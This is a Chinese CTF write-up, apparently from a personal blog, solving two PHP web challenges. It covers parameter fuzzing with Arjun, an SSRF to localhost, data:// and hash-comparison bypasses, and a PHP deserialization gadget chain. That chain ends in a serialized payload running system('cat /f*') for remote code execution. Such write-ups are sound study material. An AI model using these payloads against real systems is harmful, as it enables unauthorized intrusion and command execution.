靶场 RCE php反序列化 CTFShow-青少年CTF-PHP反序列化 28.7的博客 2025-09-09 2025-10-17 一、穿梭隐藏的密钥(代码审计) 在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但获取它需要绕过多重安全防护,利用专业知识突破层层难关。
1.1 初始页面分析(Challenge One 前置) 查看页面源代码,核心逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <body oncontextmenu ="return false" > <div id ="text" > click to me,Baby</div > <script > document .addEventListener ('keydown' , function (event ) { if (event.key === 'F12' ) { event.preventDefault (); } }); var text = document .getElementById ('text' ); var customBackground = document .createElement ('img' ); customBackground.setAttribute ('id' , 'custom-background' ); customBackground.src = './image/2.png' ; document .body .appendChild (customBackground); text.addEventListener ('click' , function ( ) { window .location .href = 'c3s4f.php' ; }); text.addEventListener ('mouseover' , function ( ) { moveText (); }); function moveText ( ) { var windowWidth = window .innerWidth ; var windowHeight = window .innerHeight ; var newPositionX = Math .random () * (windowWidth - text.offsetWidth ); var newPositionY = Math .random () * (windowHeight - text.offsetHeight ); text.style .left = newPositionX + 'px' ; text.style .top = newPositionY + 'px' ; } </script > </body >
关键操作:FUZZ参数 通过提示需FUZZ c3s4f.php 和 secret.php 的参数,使用 Arjun工具 进行爆破,常用命令如下:
指定URL爆破:arjun -u http://challenge.qsnctf.com:32324/c3s4f.php
导入字典爆破:arjun -i targets.txt
指定POST方法爆破:arjun -u http://challenge.qsnctf.com:32324/c3s4f.php -m POST
爆破结果截图:
突破本地访问限制(SSRF) 尝试访问时提示“仅允许本地地址访问”,常规的 X-Forwarded-For: 127.0.0.1 无效,需利用SSRF漏洞访问本地文件:
构造URL:?shell=http://localhost/secret.php
1.2 secret.php 代码分析 访问后获取 secret.php 源代码,包含3个连续挑战,核心逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php show_source (__FILE__ );include ('k4y.php' ); include_once ('flag.php' ); if (isset ($_GET ['DrKn' ])) { $text = $_GET ['DrKn' ]; if (@file_get_contents ($text ) == $key ) { echo "有点东西呢" ."</br>" .$key1 ."</br>" ; } else { die ("貌似状态不在线啊(╯_╰)</br>" ); } } if (isset ($_GET [$key1 ])) { $damei = $_GET [$key1 ]; if (hash ("md4" , $damei ) == $damei ) { echo "又近了一步呢,宝~" ."</br>" .$key2 ."</br>" .$key3 ; } else { die ("达咩哟~" ); } } if (isset ($_POST [$key2 ]) && isset ($_POST [$key3 ])) { $user = $_POST [$key2 ]; $pass = $_POST [$key3 ]; if (strlen ($user ) > 4 || strlen ($pass ) > 5 ) { die ("还得练" ); } if ($user !== $pass && md5 ($user ) === md5 ($pass )) { echo "还不错哦" ."$flag " ; } else { die ("nonono" ) ; } } ?>
1.3 各挑战解决方案 1.3.1 Challenge 1:文件内容匹配
核心需求:通过 file_get_contents 读取内容等于 $key(k4y.php 中的密钥)。
Payload:利用 data:// 协议构造内容,?DrKn=data://text/plain,MSIBLG(MSIBLG 为 $key 的值)。
结果:输出 key1(Challenge 2的参数名),截图如下:
1.3.2 Challenge 2:MD4自哈希
核心需求:找到值 damei,满足 hash("md4", $damei) == $damei。
可用值(URL中需将 _ 替换为 [):
0e2512880190e8749561636419612710694043324090e0012333333333333345577788890e434041524824285414215559233446
M[ore.8=0e001233333333333334557778889
结果:输出 key2 和 key3(Challenge 3的两个参数名)。
1.3.3 Challenge 3:MD5碰撞(数组绕过)
核心原理:PHP中数组的MD5哈希值均为 0,可满足“非全等但哈希全等”。
限制:user 长度≤4,pass 长度≤5(数组格式均满足)。
Payload(POST提交):wtf[]=1&mC[]=2(wtf 和 mC 为Challenge 2输出的 key2 和 key3)。
结果:成功输出flag,截图如下:
二、雏形系统(PHP反序列化漏洞) 场景:工程师小王离职前留下一个登录页面雏形,需通过代码审计发现反序列化漏洞获取权限。
2.1 初始操作:获取源码 访问登录页面后,通过FUZZ发现 www.zip,下载得到网站源码,核心文件为登录页面的PHP文件。
2.2 代码解密(混淆代码分析) 登录页面源码存在变量混淆,核心代码如下:
1 2 3 4 5 6 7 8 9 10 <?php $O00OO0 =urldecode ("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A" );$O00O0O =$O00OO0 {3 }.$O00OO0 {6 }.$O00OO0 {33 }.$O00OO0 {30 };$O0OO00 =$O00OO0 {33 }.$O00OO0 {10 }.$O00OO0 {24 }.$O00OO0 {10 }.$O00OO0 {24 };$OO0O00 =$O0OO00 {0 }.$O00OO0 {18 }.$O00OO0 {3 }.$O0OO00 {0 }.$O0OO00 {1 }.$O00OO0 {24 };$OO0000 =$O00OO0 {7 }.$O00OO0 {13 };$O00O0O .=$O00OO0 {22 }.$O00OO0 {36 }.$O00OO0 {29 }.$O00OO0 {26 }.$O00OO0 {30 }.$O00OO0 {32 }.$O00OO0 {35 }.$O00OO0 {26 }.$O00OO0 {30 };eval ($O00O0O ("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==" ));?>
解密方法:替换 eval 为 echo 将混淆代码中的 eval 改为 echo,执行后得到真实源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php error_reporting (0 );class shi { public $next ; public $pass ; public function __toString ( ) { $this ->next::PLZ ($this ->pass); } } class wo { public $sex ; public $age ; public $intention ; public function __destruct ( ) { echo "Hi Try serialize Me!" ; $this ->inspect (); } function inspect ( ) { if ($this ->sex=='boy' &&$this ->age=='eighteen' ) { echo $this ->intention; } echo "18岁" ; } } class Demo { public $a ; static function __callStatic ($action , $do ) // 调用不存在的静态方法时执行 { global $b ; $b ($do [0 ]); } } $b = $_POST ['password' ]; $a = $_POST ['username' ]; @unserialize ($a ); if (!isset ($b )) { echo "==================PLZ Input Your Name!==================" ; } if ($a =='admin' &&$b =="'k1fuhu's test demo" ){ echo ("登录成功" ); } ?>
2.3 漏洞利用链分析 反序列化调用链流程图 1 2 3 4 5 6 7 8 9 10 graph TD A[反序列化$a(wo类实例)] --> B[触发wo::__destruct] B --> C[调用wo::inspect方法] C --> D{检查$sex=='boy'且$age=='eighteen'} D -->|条件满足| E[echo $intention(shi类实例)] E --> F[触发shi::__toString] F --> G[调用shi->next::PLZ(shi->pass)(PLZ方法不存在)] G --> H[触发Demo::__callStatic] H --> I[执行全局变量$b($do[0])] I --> J[$b为POST传入的system,$do[0]为shi->pass(命令)]
2.4 POC与Payload 2.4.1 POC代码(生成序列化字符串) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class shi {}class wo {}class Demo {}$demo = new Demo (); $shi = new shi (); $wo = new wo (); $wo ->sex = 'boy' ;$wo ->age = 'eighteen' ;$wo ->intention = $shi ; $shi ->next = $demo ; $shi ->pass = 'cat /f*' ; echo serialize ($wo );?>
2.4.2 最终Payload(POST提交)
username (序列化字符串):O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}
password (命令执行函数):system
提交后执行 system("cat /f*"),读取flag文件内容。